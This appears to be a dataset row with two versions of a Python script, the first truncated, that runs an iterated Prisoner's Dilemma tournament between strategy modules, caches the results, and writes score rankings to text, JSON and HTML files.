playerAmove = history[0, turn]
playerBmove = history[1, turn]
scoreA += pointsArray[playerAmove][playerBmove]
scoreB += pointsArray[playerBmove][playerAmove]
return scoreA / ROUND_LENGTH, scoreB / ROUND_LENGTH
def outputRoundResults(f, pair, roundHistory, scoresA, scoresB, stdevA, stdevB):
f.write(f"{pair[0]} (P1) VS. {pair[1]} (P2)\n")
for p in range(2):
for t in range(roundHistory.shape[1]):
move = roundHistory[p, t]
f.write(moveLabels[move] + " ")
f.write("\n")
f.write(f"Final score for {pair[0]}: {scoresA} ± {stdevA}\n")
f.write(f"Final score for {pair[1]}: {scoresB} ± {stdevB}\n")
f.write("\n")
def pad(stri, leng):
result = stri
for i in range(len(stri), leng):
result = result + " "
return result
def progressBar(width, completion):
numCompleted = round(width * completion)
return f"[{"=" * numCompleted}{" " * (width - numCompleted)}]"
def runRounds(pair):
if args.cache:
cache = cachelib.get_backend(args, lock=lock)
r = cache.get(pair)
if r:
cache.close()
return True, *r
roundResults = StringIO()
allScoresA = []
allScoresB = []
firstRoundHistory = None
for i in range(NUM_RUNS):
roundHistory = runRound(pair)
scoresA, scoresB = tallyRoundScores(roundHistory)
if i == 0:
firstRoundHistory = roundHistory
allScoresA.append(scoresA)
allScoresB.append(scoresB)
avgScoreA = statistics.mean(allScoresA)
avgScoreB = statistics.mean(allScoresB)
stdevA = statistics.stdev(allScoresA) if len(allScoresA) > 1 else 0
stdevB = statistics.stdev(allScoresB) if len(allScoresB) > 1 else 0
outputRoundResults(
roundResults, pair, firstRoundHistory, scoresA, scoresB, stdevA, stdevB
)
roundResults.flush()
roundResultsStr = roundResults.getvalue()
roundResults.close()
if args.cache:
cache.insert(pair, avgScoreA, avgScoreB, stdevA, stdevB, firstRoundHistory, roundResultsStr)
cache.close()
return False, avgScoreA, avgScoreB, stdevA, stdevB, firstRoundHistory, roundResultsStr
def pool_init(l):
global lock
lock = l
def runFullPairingTournament(inFolders, outFile, summaryFile):
st = time.time()
print("Starting tournament, reading files from " + ", ".join(inFolders))
if args.delete_cache:
try:
cache = cachelib.get_backend(args)
file = args.cache_file
os.remove(file if file != "" else cache.default)
except FileNotFoundError:
pass
if args.cache:
cache = cachelib.get_backend(args)
cache.setup()
scoreKeeper = {}
STRATEGY_LIST = []
for inFolder in inFolders:
for file in os.listdir(inFolder):
if file.endswith(".py"):
STRATEGY_LIST.append(f"{inFolder}.{file[:-3]}")
if args.strategies is not None and len(args.strategies) > 1:
STRATEGY_LIST = [strategy for strategy in STRATEGY_LIST if strategy in args.strategies]
if len(STRATEGY_LIST) < 2:
raise ValueError('Not enough strategies!')
for strategy in STRATEGY_LIST:
scoreKeeper[strategy] = 0
mainFile = open(outFile, "w+")
summaryFile = open(summaryFile, "w+")
combinations = list(itertools.combinations(STRATEGY_LIST, r=2))
if args.strategies is not None and len(args.strategies) == 1:
combinations = [pair for pair in combinations if pair[0] == args.strategies[0] or pair[1] == args.strategies[0]]
numCombinations = len(combinations)
allResults = []
with Pool(args.processes, initializer=pool_init, initargs=(multiprocessing.Lock(),)) as p:
hits = 0
for i, result in enumerate(
zip(p.imap(runRounds, combinations), combinations), 1
):
(
cached,
avgScoreA,
avgScoreB,
stdevA,
stdevB,
firstRoundHistory,
roundResultsStr,
) = result[0]
if cached:
hits += 1
sys.stdout.write(
f"\r{i}/{numCombinations} pairings ({NUM_RUNS} runs per pairing, {hits} hits, {i-hits} misses) {progressBar(50, i / numCombinations)}"
)
sys.stdout.flush()
(nameA, nameB) = result[1]
scoresList = [avgScoreA, avgScoreB]
allResults.append(
{
"playerA": {
"name": nameA,
"avgScore": avgScoreA,
"stdev": stdevA,
"history": list(int(x) for x in firstRoundHistory[0])
},
"playerB": {
"name": nameB,
"avgScore": avgScoreB,
"stdev": stdevB,
"history": list(int(x) for x in firstRoundHistory[1])
}
}
)
mainFile.write(roundResultsStr)
scoreKeeper[nameA] += avgScoreA
scoreKeeper[nameB] += avgScoreB
sys.stdout.write("\n")
sys.stdout.flush()
with open(RESULTS_JSON, "w+") as j:
j.write(json.dumps(allResults))
scoresNumpy = np.zeros(len(scoreKeeper))
for i in range(len(STRATEGY_LIST)):
scoresNumpy[i] = scoreKeeper[STRATEGY_LIST[i]]
rankings = np.argsort(scoresNumpy)
invRankings = [len(rankings) - int(ranking) - 1 for ranking in np.argsort(rankings)]
with open("viewer-template.html", "r+") as t:
jsonStrategies = [
{
"name": name,
"rank": rank,
"score": score,
"avgScore": score / (len(STRATEGY_LIST) - 1),
}
for (name, rank, score) in zip(STRATEGY_LIST, invRankings, scoresNumpy)
]
jsonResults = json.dumps({"results": allResults, "strategies": jsonStrategies})
templateStr = t.read()
with open(RESULTS_HTML, "w+") as out:
out.write(templateStr.replace("$results", jsonResults))
mainFile.write("\n\nTOTAL SCORES\n")
for rank in range(len(STRATEGY_LIST)):
i = rankings[-1 - rank]
score = scoresNumpy[i]
scorePer = score / (len(STRATEGY_LIST) - 1)
scoreLine = f"#{rank + 1}: {pad(STRATEGY_LIST[i] + ":", 16)}{score:.3f} ({scorePer:.3f} average)\n"
mainFile.write(scoreLine)
summaryFile.write(scoreLine)
mainFile.flush()
mainFile.close()
summaryFile.flush()
summaryFile.close()
print(f"Done with everything! ({time.time() - st}) Results file written to {RESULTS_FILE}")
if __name__ == "__main__":
runFullPairingTournament(STRATEGY_FOLDERS, RESULTS_FILE, SUMMARY_FILE)
| import multiprocessing
import os
import itertools
import importlib
import time
import cache as cachelib
import numpy as np
import random
from multiprocessing import Pool, cpu_count
from io import StringIO
import statistics
import argparse
import sys
import json
parser = argparse.ArgumentParser(description="Run the Prisoner's Dilemma simulation.")
parser.add_argument(
"-n",
"--num-runs",
dest="num_runs",
type=int,
default=100,
help="Number of runs to average out",
)
parser.add_argument(
"--skip-slow",
dest="use_slow",
action="store_false",
help="Skip slow strategies for better performance",
)
parser.add_argument(
"-s",
"--strategies",
dest="strategies",
nargs="+",
help="If passed, only these strategies will be tested against each other. If only a single strategy is passed, every other strategy will be paired against it.",
)
cacheparser = parser.add_argument_group("Cache")
cacheparser.add_argument(
"--no-cache",
dest="cache",
action="store_false",
default=True,
help="Ignores the cache."
)
cacheparser.add_argument(
"--delete-cache",
"--remove-cache",
dest="delete_cache",
action="store_true",
default=False,
help="Deletes the cache."
)
cacheparser.add_argument(
"-k",
"--cache-backend",
dest="cache_backend",
type=str,
default="sqlite",
help="Specifies which cache backend to use. (sqlite or json)"
)
cacheparser.add_argument(
"--cache-file",
dest="cache_file",
type=str,
default="",
help="Specifies the cache file to use."
)
parser.add_argument(
"--no-weights",
dest="weights",
action="store_false",
default=True,
help="Ignores weights set in weights.json."
)
parser.add_argument(
"-j",
"--num-processes",
dest="processes",
type=int,
default=cpu_count(),
help="Number of processes to run the simulation with. By default, this is the same as your CPU core count.",
)
args = parser.parse_args()
STRATEGY_FOLDERS = [
"exampleStrats",
"valadaptive",
"nekiwo",
"edward",
"misc",
"saffron",
"aaaa-trsh",
"phoenix",
"l4vr0v",
"smough",
"dratini0",
"decxjo",
]
if args.use_slow:
STRATEGY_FOLDERS.append("slow")
RESULTS_FILE = "results.txt"
RESULTS_HTML = "results.html"
RESULTS_JSON = "results.json"
SUMMARY_FILE = "summary.txt"
NUM_RUNS = args.num_runs
pointsArray = [
[1, 5],
[0, 3],
] # The i-j-th element of this array is how many points you receive if you do play i, and your opponent does play j.
moveLabels = ["D", "C"]
# D = defect, betray, sabotage, free-ride, etc.
# C = cooperate, stay silent, comply, upload files, etc.
def strategyMove(move):
if type(move) is str:
defects = ["defect", "tell truth"]
return 0 if (move in defects) else 1
else:
return move
def runRound(pair):
moduleA = importlib.import_module(pair[0])
moduleB = importlib.import_module(pair[1])
memoryA = None
memoryB = None
# The games are a minimum of 200 turns long.
# The np.log here guarantees that every turn after the 200th has an equal (low) chance of being the final turn.
LENGTH_OF_GAME = int(
200 - 40 * np.log(1-random.random())
)
history = np.zeros((2, LENGTH_OF_GAME), dtype=int)
historyFlipped = np.zeros((2,LENGTH_OF_GAME),dtype=int)
for turn in range(LENGTH_OF_GAME):
playerAmove, memoryA = moduleA.strategy(history[:,:turn].copy(),memoryA)
playerBmove, memoryB = moduleB.strategy(historyFlipped[:,:turn].copy(),memoryB)
history[0, turn] = strategyMove(playerAmove)
history[1, turn] = strategyMove(playerBmove)
historyFlipped[0,turn] = history[1,turn]
historyFlipped[1,turn] = history[0,turn]
return history
def tallyRoundScores(history):
scoreA = 0
scoreB = 0
ROUND_LENGTH = history.shape[1]
for turn in range(ROUND_LENGTH):
playerAmove = history[0, turn]
playerBmove = history[1, turn]
scoreA += pointsArray[playerAmove][playerBmove]
scoreB += pointsArray[playerBmove][playerAmove]
return scoreA / ROUND_LENGTH, scoreB / ROUND_LENGTH
def outputRoundResults(f, pair, roundHistory, scoresA, scoresB, stdevA, stdevB):
f.write(f"{pair[0]} (P1) VS. {pair[1]} (P2)\n")
for p in range(2):
for t in range(roundHistory.shape[1]):
move = roundHistory[p, t]
f.write(moveLabels[move] + " ")
f.write("\n")
f.write(f"Final score for {pair[0]}: {scoresA} ± {stdevA}\n")
f.write(f"Final score for {pair[1]}: {scoresB} ± {stdevB}\n")
f.write("\n")
def pad(stri, leng):
result = stri
for i in range(len(stri), leng):
result = result + " "
return result
def progressBar(width, completion):
numCompleted = round(width * completion)
return f"[{'=' * numCompleted}{' ' * (width - numCompleted)}]"
def runRounds(pair):
if args.cache:
cache = cachelib.get_backend(args, lock=lock)
r = cache.get(pair)
if r:
cache.close()
return True, *r
roundResults = StringIO()
allScoresA = []
allScoresB = []
firstRoundHistory = None
for i in range(NUM_RUNS):
roundHistory = runRound(pair)
scoresA, scoresB = tallyRoundScores(roundHistory)
if i == 0:
firstRoundHistory = roundHistory
allScoresA.append(scoresA)
allScoresB.append(scoresB)
avgScoreA = statistics.mean(allScoresA)
avgScoreB = statistics.mean(allScoresB)
stdevA = statistics.stdev(allScoresA) if len(allScoresA) > 1 else 0
stdevB = statistics.stdev(allScoresB) if len(allScoresB) > 1 else 0
outputRoundResults(
roundResults, pair, firstRoundHistory, scoresA, scoresB, stdevA, stdevB
)
roundResults.flush()
roundResultsStr = roundResults.getvalue()
roundResults.close()
if args.cache:
cache.insert(pair, avgScoreA, avgScoreB, stdevA, stdevB, firstRoundHistory, roundResultsStr)
cache.close()
return False, avgScoreA, avgScoreB, stdevA, stdevB, firstRoundHistory, roundResultsStr
def pool_init(l):
global lock
lock = l
def runFullPairingTournament(inFolders, outFile, summaryFile):
st = time.time()
print("Starting tournament, reading files from " + ", ".join(inFolders))
if args.delete_cache:
try:
cache = cachelib.get_backend(args)
file = args.cache_file
os.remove(file if file != "" else cache.default)
except FileNotFoundError:
pass
if args.cache:
cache = cachelib.get_backend(args)
cache.setup()
scoreKeeper = {}
STRATEGY_LIST = []
for inFolder in inFolders:
for file in os.listdir(inFolder):
if file.endswith(".py"):
STRATEGY_LIST.append(f"{inFolder}.{file[:-3]}")
if args.strategies is not None and len(args.strategies) > 1:
STRATEGY_LIST = [strategy for strategy in STRATEGY_LIST if strategy in args.strategies]
if len(STRATEGY_LIST) < 2:
raise ValueError('Not enough strategies!')
for strategy in STRATEGY_LIST:
scoreKeeper[strategy] = 0
mainFile = open(outFile, "w+")
summaryFile = open(summaryFile, "w+")
combinations = list(itertools.combinations(STRATEGY_LIST, r=2))
if args.strategies is not None and len(args.strategies) == 1:
combinations = [pair for pair in combinations if pair[0] == args.strategies[0] or pair[1] == args.strategies[0]]
numCombinations = len(combinations)
allResults = []
with Pool(args.processes, initializer=pool_init, initargs=(multiprocessing.Lock(),)) as p:
hits = 0
for i, result in enumerate(
zip(p.imap(runRounds, combinations), combinations), 1
):
(
cached,
avgScoreA,
avgScoreB,
stdevA,
stdevB,
firstRoundHistory,
roundResultsStr,
) = result[0]
if cached:
hits += 1
sys.stdout.write(
f"\r{i}/{numCombinations} pairings ({NUM_RUNS} runs per pairing, {hits} hits, {i-hits} misses) {progressBar(50, i / numCombinations)}"
)
sys.stdout.flush()
(nameA, nameB) = result[1]
scoresList = [avgScoreA, avgScoreB]
allResults.append(
{
"playerA": {
"name": nameA,
"avgScore": avgScoreA,
"stdev": stdevA,
"history": list(int(x) for x in firstRoundHistory[0])
},
"playerB": {
"name": nameB,
"avgScore": avgScoreB,
"stdev": stdevB,
"history": list(int(x) for x in firstRoundHistory[1])
}
}
)
mainFile.write(roundResultsStr)
scoreKeeper[nameA] += avgScoreA
scoreKeeper[nameB] += avgScoreB
sys.stdout.write("\n")
sys.stdout.flush()
with open(RESULTS_JSON, "w+") as j:
j.write(json.dumps(allResults))
scoresNumpy = np.zeros(len(scoreKeeper))
for i in range(len(STRATEGY_LIST)):
scoresNumpy[i] = scoreKeeper[STRATEGY_LIST[i]]
rankings = np.argsort(scoresNumpy)
invRankings = [len(rankings) - int(ranking) - 1 for ranking in np.argsort(rankings)]
with open("viewer-template.html", "r+") as t:
jsonStrategies = [
{
"name": name,
"rank": rank,
"score": score,
"avgScore": score / (len(STRATEGY_LIST) - 1),
}
for (name, rank, score) in zip(STRATEGY_LIST, invRankings, scoresNumpy)
]
jsonResults = json.dumps({"results": allResults, "strategies": jsonStrategies})
templateStr = t.read()
with open(RESULTS_HTML, "w+") as out:
out.write(templateStr.replace("$results", jsonResults))
mainFile.write("\n\nTOTAL SCORES\n")
for rank in range(len(STRATEGY_LIST)):
i = rankings[-1 - rank]
score = scoresNumpy[i]
scorePer = score / (len(STRATEGY_LIST) - 1)
scoreLine = f"#{rank + 1}: {pad(STRATEGY_LIST[i] + ':', 16)}{score:.3f} ({scorePer:.3f} average)\n"
mainFile.write(scoreLine)
summaryFile.write(scoreLine)
mainFile.flush()
mainFile.close()
summaryFile.flush()
summaryFile.close()
print(f"Done with everything! ({time.time() - st}) Results file written to {RESULTS_FILE}")
if __name__ == "__main__":
runFullPairingTournament(STRATEGY_FOLDERS, RESULTS_FILE, SUMMARY_FILE)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.